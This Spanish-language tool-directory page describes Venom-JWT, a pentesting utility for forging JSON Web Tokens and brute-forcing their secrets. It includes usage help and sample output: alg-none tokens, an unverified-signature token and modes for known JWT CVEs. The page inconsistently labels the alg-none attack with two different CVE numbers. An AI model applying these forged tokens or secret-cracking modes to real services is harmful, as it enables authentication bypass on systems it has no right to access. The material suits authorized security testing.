Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Venom-JWT — Herramienta de verificación de vulnerabilidades/fuerza bruta de claves desarrollada para la penetración en JWT, que genera resultados para FUZZ contra CVE-2015-9235/ataque de clave en blanco/ataque de firma no verificada/CVE-2016-10555/CVE-2018-0114/CVE-2020-28042, y también puede realizar fuerza bruta mediante diccionario/enumeración de caracteres (incluyendo JJWT) (JWT Crack) | Kitploit
Herramientas/GitHubGitHub/z-bool/venom-jwt
Descifrado de ContraseñasAnálisis de VulnerabilidadesExplotaciónSeguridad WebFuzzingPruebas de Penetración
GitHubz-bool/venom-jwt

Venom-JWT

Ver Repositorio
2891013hace 1 añoRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

Herramienta de verificación de vulnerabilidades/fuerza bruta de claves desarrollada para la penetración en JWT, que genera resultados para FUZZ contra CVE-2015-9235/ataque de clave en blanco/ataque de firma no verificada/CVE-2016-10555/CVE-2018-0114/CVE-2020-28042, y también puede realizar fuerza bruta mediante diccionario/enumeración de caracteres (incluyendo JJWT) (JWT Crack)

Compartir

Venom-JWT herramienta de penetración - Pruebas de penetración contra vulnerabilidades JWT y fuerza bruta de claves

Declaración seria: Las técnicas, ideas y herramientas mencionadas en este documento son solo para fines de aprendizaje e intercambio con fines de seguridad, nadie puede usarlas para fines ilegales o lucrativos, de lo contrario asumirá las consecuencias.

Herramienta de validación de vulnerabilidades/fuerza bruta de claves desarrollada para la penetración de JWT, que genera resultados para FUZZ contra CVE-2015-9235/ataque de firma no verificada/CVE-2016-10555/CVE-2018-0114/CVE-2020-28042, también se puede usar diccionario o enumeración de caracteres para fuerza bruta.

Introducción a la herramienta · Instrucciones de uso · Notas · Comunicación técnica

Introducción a la herramienta

Antecedentes de esta herramienta:

Durante las pruebas de penetración en proyectos de la empresa, a menudo al trabajar con proyectos de front-end y back-end separados, se encuentra JWT como Token para la verificación de permisos. Normalmente se pueden usar herramientas como jwt-tool, pero aún no es posible completar todo en un solo paso. Por eso, aquí desarrollo una herramienta auxiliar de penetración JWT todo en uno usando go, para ayudar a todos a realizar pruebas de autorización.

¿Cuál es el escenario de aplicación de esta herramienta?

  • Cuando JWT se usa como método de autenticación
  • Mediante los resultados JWT generados con Payload modificado, pégalos en el resultado Repeater para verificar si existe un nday que se pueda explotar sin Secret
  • En ausencia de nday, realizar fuerza bruta contra el Secret de JWT

¿Cuáles son las ventajas de esta herramienta?

  • Modo interactivo guiado por parámetros / modo de línea de comandos con parámetros especificados = dos formas de ejecución
  • Considera la mayoría de los problemas existentes con las vulnerabilidades de JWT
  • Mantenimiento continuo según los Issues (ya sabes, tú pruebas y encuentras problemas, solo necesitamos hacer optimizaciones, y queda todo bien)

Instrucciones de uso

# Empaquetar
go mod tidy 
cd cmd
go build.

# Ejecutar en línea de comandos
.\cmd.exe -h
Usage of C:\Users\xxx\Venom-JWT\cmd\cmd.exe:
  -df string
        Si se utiliza un archivo de payloads, por defecto vacío usa el diccionario incorporado de roles (modo 2 enlazado), modo 3 no vacío (modo 3 enlazado)
  -em int
        Modo de encriptación del secret NONE/MD5/MD5 de 16 bits/BASE64 (por defecto ALL=>0, NONE=>1, MD5=>2, MD5 16 bits=>3, BASE64)
  -fs string
        Diccionario por defecto para fuerza bruta, se puede modificar según reglas de suposición (usar con -fz para número de caracteres) (default "abcdefghijklmnopqrstuvwxyz0123456789")
  -fz int
        Número máximo de caracteres para fuerza bruta (si se quiere especificar la longitud con -fz)
  -jbc string
        JWT body a modificar
  -jm int
        Modo 1: (Secret desconocido) Prueba de autorización modificando Payload  Modo 2: (probar primero modo 1) Prueba de autorización con PayloadFuzz  Modo 3: fuerza bruta de secret con diccionario  Modo 4: fuerza bruta de secret con caracteres (si se quiere especificar longitud -fz)  Modo 5: verificar el Secret de JWT (default 1)
  -jwt.txt string
        Cadena JWT
  -mz int
        Número mínimo de caracteres para fuerza bruta (si se quiere especificar longitud -mz), por defecto 1 (default 1)
  -pem string
        Ruta del archivo pem de la clave pública (mejor ruta absoluta)
  -pt int
        Modo de selección: 0 para ejecutar todo por defecto, 1 para modificar alg a none (CVE-2015-2951), 2 para autorización por firma no verificada, 3 para modificar algoritmo asimétrico a simétrico (CVE-2016-10555) 4 para inyección de clave pública JWKS - falsificación de clave (CVE-2018-0114) 5 para firma vacía (CVE-2020-28042)
  -s string
        Secret conocido, por defecto vacío
        
# Ejecución interactiva
.\cmd.exe
? 【Selección previa】En caso de secret desconocido, modificar JWT para probar autorización, elija un modo:
[·]  [Use arrows to move, type to filter]
> Modo 1: (Secret desconocido) Prueba de autorización modificando Payload
  Modo 2: (probar primero modo 1) Prueba de autorización con PayloadFuzz
  Modo 3: fuerza bruta de secret con diccionario
  Modo 4: fuerza bruta de secret con caracteres
  Modo 5: verificar el Secret de JWT

? Ingrese su cadena JWT:
[·] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
[+]JWT Header: {"alg":"HS256","typ":"JWT"}
JWT Payload: {"iss":"admin","iat":1701375177,"exp":1701382377,"nbf":1701375177,"sub":"user","jti":"a01707f44f7df8b5cbe5e129a0f5c311"}
JWT Signature: 563a9ae6f62ff6e454aa2690a6c0f196cc067cae67dae980a7e36b634a77f5b8

? 【Modo 1】【Modo 2】En caso de secret desconocido, modificar JWT para probar autorización, elija un modo de prueba específico:
[·]  [Use arrows to move, type to filter]
> Modo 0: Ejecutar todo por defecto
  Modo 1: Modificar alg a none (CVE-2015-2951)
  Modo 2: Autorización por firma no verificada
  Modo 3: Modificar algoritmo asimétrico a simétrico (CVE-2016-10555)
  Modo 4: Inyección de clave pública JWKS - falsificación de clave (CVE-2018-0114)
  Modo 5: Firma vacía (CVE-2020-28042)

? En los 【Modo 1】【Modo 2】【Modo 5】, necesita modificar la cadena JSON de la segunda parte (Payload) de JWT para probar autorización. Copie la parte Payload del paso anterior, modifique y pegue aquí:
【Modo 1】【Modo 5】Ejemplo: {"username":"admin","role":"admin"}
【Modo 2】Ejemplo: {"usernmae":"admin","role":"FUZZ"}
Nota: En 【Modo 2】, FUZZ es la posición de reemplazo del diccionario. Si no se modifica, presione Enter para usar el Payload original por defecto.

? Ingrese la ruta del archivo pem de clave pública que ha recopilado (mejor ruta absoluta)
[·] C:\Users\15403\Desktop\Venom-JWT\public_key.pem

==============Prueba de autorización modificando Payload sin secret===========

① En la mayoría de los casos, cuando alg es HS256, se puede cambiar JWT a none (CVE-2015-9235)

[+]【alg a none】: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg a None】: eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg a NoNe】: eyJhbGciOiJOb05lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg a NONE】: eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
② Ataque de firma no verificada: modificar Payload sin verificar

[+]【Ataque de firma inválida】: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
③ Ataque de modificación de algoritmo asimétrico a simétrico (CVE-2016-10555)
Descargar herramienta